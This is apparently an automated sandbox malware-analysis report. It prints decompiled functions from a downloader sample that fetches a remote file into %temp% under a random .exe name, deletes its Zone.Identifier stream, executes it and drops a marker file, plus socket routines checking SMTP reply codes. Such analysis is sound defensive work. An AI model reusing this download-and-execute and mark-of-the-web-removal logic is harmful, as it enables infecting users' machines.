Part of subcall function 00EA1440: gethostbyname.WS2_32(?), ref: 00EA145D

htons.WS2_32(00000019), ref: 00EA10F5
DnsFree.DNSAPI(00000000,00000001), ref: 00EA110F

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: FreeQuery_gethostbynamehtonsinet_addr
String ID:
API String ID: 1447329520-0
Opcode ID: f888e2abaf1728656a12423c8e9342edb8be7d976cffd29dda253389aee11d2e
Instruction ID: 1c29ab3ef79d1be29e3c8a9c2199666c4c13a1999f2e87843cee4035f995b811
Opcode Fuzzy Hash: f888e2abaf1728656a12423c8e9342edb8be7d976cffd29dda253389aee11d2e
Instruction Fuzzy Hash: 4B01DA74A00208EBEB10DFA0D886B99B7B5AF59704F209199F9046F381D7B6EA45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1230 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

select.WS2_32(?,00000000,00000000,00000000,00000400), ref: 00EA130C

Strings

@, xrefs: 00EA1290

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: select
String ID: @
API String ID: 1274211008-2766056989
Opcode ID: 11920b529e083f65ff1b44e70f3a047176a888ce70463a85a1f0227e48dbd75e
Instruction ID: 86542751f557659eb45df7a65f133444e0b3d9f8abac17fa904b372c58cd0042
Opcode Fuzzy Hash: 11920b529e083f65ff1b44e70f3a047176a888ce70463a85a1f0227e48dbd75e
Instruction Fuzzy Hash: B521EE7090011CDBCF58CF54C8927DDB7B6EB5A314F10C1D9E609AB294DA30AF819F94

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1440 Relevance: 3.0, APIs: 2, Instructions: 26networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00EA10D9), ref: 00EA144A
gethostbyname.WS2_32(?), ref: 00EA145D

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: ff199b54ee2cd8e8527d04124e87b5e563f679bce9d1ae58726b822eda2885f1
Instruction ID: 62bb9884827288040f26d504fc50f70eb471473aa0bb6691fc08f8684401430d
Opcode Fuzzy Hash: ff199b54ee2cd8e8527d04124e87b5e563f679bce9d1ae58726b822eda2885f1
Instruction Fuzzy Hash: 88F0FE74901208EFCB00DFB4D54489DBBB5EB5E315F208694D955AB390D730AA80DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1120 Relevance: 3.0, APIs: 2, Instructions: 22
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00EA1120(intOrPtr _a4, CHAR* _a8, int _a12) {
				intOrPtr _t10;

				if(_a12 == 0xffffffff) {
					_a12 = lstrlenA(_a8);
				}
				_t10 = _a4;
				__imp__#19(_t10, _a8, _a12, 0); // executed
				return 0 | _t10 == _a12;
			}

0x00ea1127
0x00ea1133
0x00ea1133
0x00ea1140
0x00ea1144
0x00ea1155

APIs

lstrlenA.KERNEL32(?), ref: 00EA112D
send.WS2_32(?,?,000000FF,00000000), ref: 00EA1144

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: lstrlensend
String ID:
API String ID: 3675724601-0
Opcode ID: 102a81ff73d0e4263af2b87dde6dd7861775dc8eda2903a05dc3401957322f81
Instruction ID: f6f72436e0e2c25a4fea67510b398652db406946df58f47a75b9291462a91545
Opcode Fuzzy Hash: 102a81ff73d0e4263af2b87dde6dd7861775dc8eda2903a05dc3401957322f81
Instruction Fuzzy Hash: 9EE048B12043099FCF04CF68DC4499B37A8BB5C310F404618FA29C7190D770E510CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1160 Relevance: 1.5, APIs: 1, Instructions: 31networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,00000000,?,00000000), ref: 00EA119F

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: e914b859a23bf26dea4ba130bd6c24e7eeb4e410e01272c06e81302777836258
Instruction ID: dd7c9f6248aef1935e1aa338b77b42c6904235d0379c7b2a397d8fd12280f077
Opcode Fuzzy Hash: e914b859a23bf26dea4ba130bd6c24e7eeb4e410e01272c06e81302777836258
Instruction Fuzzy Hash: EFF05E75601309ABDF00CE54DC04BEB37A8AB2D389F005858FA19AE290D3B4F550CB94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00EA1320 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00EA1320(void* __ecx, intOrPtr _a4, char* _a8) {
				char _v8;
				signed int _t19;
				void* _t32;
				void* _t33;

				 *_a8 = 0;
				srand(GetTickCount());
				_t33 = _t32 + 4;
				_v8 = 0;
				while(_v8 < _a4) {
					_t19 = rand();
					asm("cdq");
					_push(_t19 % 0xa);
					_push(_a8);
					sprintf(_a8, "%s%d");
					_t33 = _t33 + 0x10;
					_v8 = _v8 + 1;
				}
				_a8[_v8] = 0;
				return _a8;
			}

0x00ea1327
0x00ea1331
0x00ea1336
0x00ea1339
0x00ea134b
0x00ea1353
0x00ea1358
0x00ea1360
0x00ea1364
0x00ea136e
0x00ea1373
0x00ea1348
0x00ea1348
0x00ea137e
0x00ea1387

APIs

GetTickCount.KERNEL32 ref: 00EA132A
srand.MSVCR90 ref: 00EA1331
rand.MSVCR90 ref: 00EA1353
sprintf.MSVCR90 ref: 00EA136E

Strings

%s%d, xrefs: 00EA1365

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: CountTickrandsprintfsrand
String ID: %s%d
API String ID: 2526408171-1110647743
Opcode ID: 57872b7a1674eaeb2056873c62fcab6d748857741bc7da315e64af2f43ef8631
Instruction ID: 2c334fee6a6b3015658b9a4ae5d90dbab89eae232d7c0259aea8ba197a62e3c1
Opcode Fuzzy Hash: 57872b7a1674eaeb2056873c62fcab6d748857741bc7da315e64af2f43ef8631
Instruction Fuzzy Hash: 9DF04FB4A04208EBDB04DF98D851BAD77B5EF9A304F10D089F90A6F341D671BF049766

Uniqueness

Uniqueness Score: -1.00%

Function 00EA11C0 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EA11C0(char* _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				void* _t23;

				_v20 = 0xea41c0;
				_v16 = 0xea41c4;
				_v12 = 0xea41c8;
				_v8 = 0;
				_v24 = 0;
				while(_v24 < 3) {
					if(StrCmpNA(_a4,  *(_t23 + _v24 * 4 - 0x10), 3) == 0) {
						_v8 = 1;
					} else {
						_v24 = _v24 + 1;
						continue;
					}
					break;
				}
				return _v8;
			}

0x00ea11c6
0x00ea11cd
0x00ea11d4
0x00ea11db
0x00ea11e2
0x00ea11f4
0x00ea1210
0x00ea1214
0x00ea1212
0x00ea11f1
0x00000000
0x00ea11f1
0x00000000
0x00ea1210
0x00ea1225

APIs

StrCmpNA.SHLWAPI(354,220,00000003), ref: 00EA1208

Strings

220, xrefs: 00EA11C6, 00EA1203
250, xrefs: 00EA11CD
354, xrefs: 00EA11D4, 00EA1207

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID:
String ID: 220$250$354
API String ID: 0-1679323658
Opcode ID: cf40730ad38e4dbc6287d018da5befaa15c0e59dce0794638276bc523ecdf0b5
Instruction ID: 075a37b4185c07ffdda2f414c5779a7e2737c3b5fb7149bf4ad3e96a763d2374
Opcode Fuzzy Hash: cf40730ad38e4dbc6287d018da5befaa15c0e59dce0794638276bc523ecdf0b5
Instruction Fuzzy Hash: 01F0F4B0905109DBCF00DFD4D9457EEBBB4BB5A304F205588D5057F280D3B1AB44DBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 150623101.exePID: 956, Parent PID: 1384COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000210B0 Relevance: 59.7, APIs: 28, Strings: 6, Instructions: 180
filenetworksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E000210B0(WCHAR* _a4) {
				void _v268;
				short _v788;
				signed int _v789;
				void* _v796;
				void* _v800;
				short _v1324;
				long _v1328;
				long _v1332;
				void* _v1336;
				short _v1860;
				signed int _t63;
				signed int _t65;
				void* _t69;
				int _t70;
				signed int _t71;
				signed int _t73;
				signed int _t75;
				void* _t83;
				void* _t87;
				int _t90;
				signed char _t96;
				void* _t134;
				void* _t136;

				srand(GetTickCount());
				_v789 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v788, 0x104);
				_t63 = rand();
				asm("cdq");
				_t65 = rand();
				asm("cdq");
				wsprintfW( &_v1860, L"%s\\%d%d.exe",  &_v788, _t65 % 0x7530 + 0x2710, _t63 % 0x7530 + 0x2710);
				_t136 = _t134 + 0x18;
				_t69 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", 0, 0, 0, 0); // executed
				_v1336 = _t69;
				if(_v1336 == 0) {
					L10:
					_t70 = InternetCloseHandle(_v1336);
					Sleep(0x1f4); // executed
					if((_v789 & 0x000000ff) != 0) {
						L13:
						return _t70;
					}
					_t71 = rand();
					asm("cdq");
					Sleep(_t71 % 0xea60 + 0x3e8);
					_t73 = rand();
					asm("cdq");
					_t75 = rand();
					asm("cdq");
					_t70 = wsprintfW( &_v1860, L"%s\\%d%d.exe",  &_v788, _t75 % 0x7530 + 0x2710, _t73 % 0x7530 + 0x2710);
					_push(0);
					_push(0);
					_push( &_v1860);
					_push(_a4);
					_push(0);
					L0002168C();
					if(_t70 != 0) {
						goto L13;
					}
					wsprintfW( &_v1324, L"%s:Zone.Identifier",  &_v1860);
					DeleteFileW( &_v1324);
					return E00021000( &_v1860);
				}
				_t83 = InternetOpenUrlW(_v1336, _a4, 0, 0, 0, 0); // executed
				_v796 = _t83;
				if(_v796 == 0) {
					L9:
					InternetCloseHandle(_v796); // executed
					goto L10;
				}
				_t87 = CreateFileW( &_v1860, 0x40000000, 0, 0, 2, 0, 0); // executed
				_v800 = _t87;
				if(_v800 == 0xffffffff) {
					L8:
					CloseHandle(_v800);
					goto L9;
				} else {
					goto L3;
				}
				while(1) {
					L3:
					_t90 = InternetReadFile(_v796,  &_v268, 0x103,  &_v1332); // executed
					if(_t90 == 0 || _v1332 == 0) {
						break;
					}
					WriteFile(_v800,  &_v268, _v1332,  &_v1328, 0); // executed
				}
				CloseHandle(_v800);
				Sleep(0x3e8); // executed
				wsprintfW( &_v1324, L"%s:Zone.Identifier",  &_v1860);
				DeleteFileW( &_v1324); // executed
				Sleep(0x3e8); // executed
				_t96 = E00021000( &_v1860); // executed
				_t136 = _t136 + 0x10;
				if((_t96 & 0x000000ff) == 1) {
					_v789 = 1;
				}
				goto L8;
			}

0x000210c0
0x000210c8
0x000210e0
0x000210e6
0x000210eb
0x000210fa
0x000210ff
0x00021121
0x00021127
0x00021137
0x0002113d
0x0002114a
0x00021282
0x00021289
0x00021294
0x000212a3
0x0002135c
0x0002135c
0x0002135c
0x000212a9
0x000212ae
0x000212bd
0x000212c3
0x000212c8
0x000212d7
0x000212dc
0x000212fe
0x00021307
0x00021309
0x00021311
0x00021315
0x00021316
0x00021318
0x0002131f
0x00000000
0x00000000
0x00021334
0x00021344
0x00000000
0x00021356
0x00021163
0x00021169
0x00021176
0x00021275
0x0002127c
0x00000000
0x0002127c
0x00021192
0x00021198
0x000211a5
0x00021268
0x0002126f
0x00000000
0x00000000
0x00000000
0x00000000
0x000211ab
0x000211ab
0x000211c5
0x000211cd
0x00000000
0x00000000
0x000211f6
0x000211f6
0x00021205
0x00021210
0x00021229
0x00021239
0x00021244
0x00021251
0x00021256
0x0002125f
0x00021261
0x00021261
0x00000000

APIs

GetTickCount.KERNEL32 ref: 000210B9
srand.MSVCRT ref: 000210C0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 000210E0
rand.MSVCRT ref: 000210E6
rand.MSVCRT ref: 000210FA
wsprintfW.USER32 ref: 00021121
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00021137
InternetOpenUrlW.WININET(00000000,000214DA,00000000,00000000,00000000,00000000), ref: 00021163
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00021192
InternetReadFile.WININET(00000000,?,00000103,?), ref: 000211C5
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 000211F6
CloseHandle.KERNEL32(000000FF), ref: 00021205
Sleep.KERNEL32(000003E8), ref: 00021210
wsprintfW.USER32 ref: 00021229
DeleteFileW.KERNEL32(?), ref: 00021239
Sleep.KERNEL32(000003E8), ref: 00021244
CloseHandle.KERNEL32(000000FF), ref: 0002126F
InternetCloseHandle.WININET(00000000), ref: 0002127C
InternetCloseHandle.WININET(00000000), ref: 00021289
Sleep.KERNEL32(000001F4), ref: 00021294
rand.MSVCRT ref: 000212A9
Sleep.KERNEL32 ref: 000212BD
rand.MSVCRT ref: 000212C3
rand.MSVCRT ref: 000212D7
wsprintfW.USER32 ref: 000212FE
URLDownloadToFileW.URLMON(00000000,000214DA,?,00000000,00000000), ref: 00021318
wsprintfW.USER32 ref: 00021334
DeleteFileW.KERNEL32(?), ref: 00021344

Strings

%s:Zone.Identifier, xrefs: 0002121D
%s\%d%d.exe, xrefs: 00021115
%temp%, xrefs: 000210DB
%s\%d%d.exe, xrefs: 000212F2
%s:Zone.Identifier, xrefs: 00021328
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36, xrefs: 00021132

Memory Dump Source

Source File: 0000000B.00000002.882368593.0000000000021000.00000020.00000001.01000000.00000007.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000B.00000002.882359979.0000000000020000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882391738.0000000000022000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882401431.0000000000023000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882407647.0000000000024000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_20000_150623101.jbxd

Similarity

API ID: File$Internetrand$CloseHandleSleepwsprintf$DeleteOpen$CountCreateDownloadEnvironmentExpandReadStringsTickWritesrand
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
API String ID: 4178003460-1161929716
Opcode ID: 040425465a55b1d36642e6014f0a2c1b58adb3f1e3fbf941faa654664217f98b
Instruction ID: 644b51cc72f04cc98cd4159d7b6ab8134a96b807b9d2046c66ff0387434e1d52
Opcode Fuzzy Hash: 040425465a55b1d36642e6014f0a2c1b58adb3f1e3fbf941faa654664217f98b
Instruction Fuzzy Hash: 0D61C671940228BBE734DBA0EC89FEA737DAB58701F144598F30D960C1DA786B85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 000214F8 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x22358);
				_push(0x21680);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x231d0 =  *0x231d0 | 0xffffffff;
				 *0x231d4 =  *0x231d4 | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x231cc; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x231c8; // 0x0
				 *_t24 = _t47;
				 *0x231d8 = _adjust_fdiv;
				_t27 = E00021677( *_adjust_fdiv);
				_t61 =  *0x231b8; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00021674);
				}
				E00021662(_t27);
				_push(0x2300c);
				_push(0x23008);
				L0002165C();
				_t29 =  *0x231c4; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x231c0,  &_v112);
				_push(0x23004);
				_push(0x23000);
				L0002165C();
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while(1) {
						__eflags =  *_t55 - 0x20;
						if(__eflags <= 0) {
							goto L7;
						}
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				L7:
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				_t69 = _v96.dwFlags & 0x00000001;
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_t40 = E00021460(_t69, GetModuleHandleA(0), 0, _t55, _t38); // executed
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00021656();
				return _t41;
			}

0x000214fb
0x000214fd
0x00021502
0x0002150d
0x0002150e
0x0002151b
0x00021520
0x00021525
0x0002152c
0x00021533
0x0002153a
0x00021540
0x00021546
0x00021548
0x0002154e
0x00021554
0x0002155d
0x00021562
0x00021567
0x0002156d
0x00021574
0x0002157a
0x0002157b
0x00021580
0x00021585
0x0002158a
0x0002158f
0x00021594
0x000215ad
0x000215b3
0x000215b8
0x000215bd
0x000215ca
0x000215cc
0x000215d2
0x0002160e
0x0002160e
0x00021611
0x00000000
0x00000000
0x00021613
0x00021614
0x00021614
0x000215d4
0x000215d4
0x000215d4
0x000215d5
0x000215d8
0x000215da
0x000215e5
0x000215e7
0x000215e7
0x000215e8
0x000215e8
0x000215e5
0x000215eb
0x000215eb
0x000215ef
0x00000000
0x00000000
0x000215f5
0x000215fc
0x00021602
0x00021606
0x0002161b
0x00021608
0x00021608
0x00021608
0x00021627
0x0002162c
0x00021630
0x00021636
0x0002163b
0x0002163d
0x00021640
0x00021641
0x00021642
0x00021649

APIs

__set_app_type.MSVCRT ref: 00021525
__p__fmode.MSVCRT ref: 0002153A
__p__commode.MSVCRT ref: 00021548
__setusermatherr.MSVCRT ref: 00021574
_initterm.MSVCRT ref: 0002158A
__getmainargs.MSVCRT ref: 000215AD
_initterm.MSVCRT ref: 000215BD
GetStartupInfoA.KERNEL32 ref: 000215FC
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00021620
exit.MSVCRT ref: 00021630
_XcptFilter.MSVCRT ref: 00021642

Memory Dump Source

Source File: 0000000B.00000002.882368593.0000000000021000.00000020.00000001.01000000.00000007.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000B.00000002.882359979.0000000000020000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882391738.0000000000022000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882401431.0000000000023000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882407647.0000000000024000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_20000_150623101.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: e04c30a9260d44feb0bd3bad7f823119d2f070e25c1d46f5ad9e4deb93bb3209
Instruction ID: 5628c538e6e80bc03f01b90331fc1b28c8f15ac1c36323ca04e4ba4c929c2593
Opcode Fuzzy Hash: e04c30a9260d44feb0bd3bad7f823119d2f070e25c1d46f5ad9e4deb93bb3209
Instruction Fuzzy Hash: 664161B1940368EFE734DFE4E889AEDBBB8FB19710F24055AE54697292C7384942CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00021000 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00021000(WCHAR* _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;
				int _t18;

				memset( &_v100, 0, 0x44);
				memset( &_v24, 0, 0x10);
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t18 = CreateProcessW(0, _a4, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24); // executed
				if(_t18 != 1) {
					_v8 = ShellExecuteW(0, L"open", _a4, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8); // executed
				return 1;
			}

0x0002100e
0x0002101e
0x00021026
0x0002102d
0x00021039
0x00021057
0x00021060
0x00021088
0x0002108e
0x00021095
0x00000000
0x000210a6
0x0002109c
0x00000000
0x000210a2
0x00021067
0x00000000

APIs

memset.MSVCRT ref: 0002100E
memset.MSVCRT ref: 0002101E
CreateProcessW.KERNEL32(00000000,00021356,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00021057
Sleep.KERNEL32(000003E8), ref: 00021067
ShellExecuteW.SHELL32(00000000,open,00021356,00000000,00000000,00000000), ref: 00021082
Sleep.KERNEL32(000003E8), ref: 0002109C

Strings

D, xrefs: 00021026
open, xrefs: 0002107B
, xrefs: 00021091

Memory Dump Source

Source File: 0000000B.00000002.882368593.0000000000021000.00000020.00000001.01000000.00000007.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000B.00000002.882359979.0000000000020000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882391738.0000000000022000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882401431.0000000000023000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882407647.0000000000024000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_20000_150623101.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 175bfaeb84c375c20e1f1184135a3fcc80cbf1e5222bcfeee31ff827bd311e1d
Instruction ID: 34cdd73975ef900d096d25cf11a4a75bc28eb8209b4e1995cb36369cc10901d8
Opcode Fuzzy Hash: 175bfaeb84c375c20e1f1184135a3fcc80cbf1e5222bcfeee31ff827bd311e1d
Instruction Fuzzy Hash: E0111F71A84318BBEB20DBD0DD86FED7778AB14B01F200115F7096E2C2D6B56A45C795

Uniqueness

Uniqueness Score: -1.00%

Function 00021360 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00021360() {
				short _v524;
				short _v1044;
				void* _v1048;
				int _t13;
				void* _t14;

				ExpandEnvironmentStringsW(L"%userprofile%",  &_v524, 0x104);
				wsprintfW( &_v1044, L"%s\\523333343.jpg",  &_v524);
				_t13 = PathFileExistsW( &_v1044); // executed
				if(_t13 == 0) {
					_t14 = CreateFileW( &_v1044, 0x40000000, 0, 0, 1, 2, 0); // executed
					_v1048 = _t14;
					if(_v1048 != 0xffffffff) {
						CloseHandle(_v1048); // executed
					}
					return 1;
				}
				return 0;
			}

0x0002137a
0x00021393
0x000213a3
0x000213ab
0x000213c9
0x000213cf
0x000213dc
0x000213e5
0x000213e5
0x00000000
0x000213eb
0x00000000

APIs

ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 0002137A
wsprintfW.USER32 ref: 00021393
PathFileExistsW.SHLWAPI(?), ref: 000213A3
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000002,00000000), ref: 000213C9
CloseHandle.KERNEL32(000000FF), ref: 000213E5

Strings

%s\523333343.jpg, xrefs: 00021387
%userprofile%, xrefs: 00021375

Memory Dump Source

Source File: 0000000B.00000002.882368593.0000000000021000.00000020.00000001.01000000.00000007.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000B.00000002.882359979.0000000000020000.00000002.00000001.01000000.00000007.sdmpDownload File
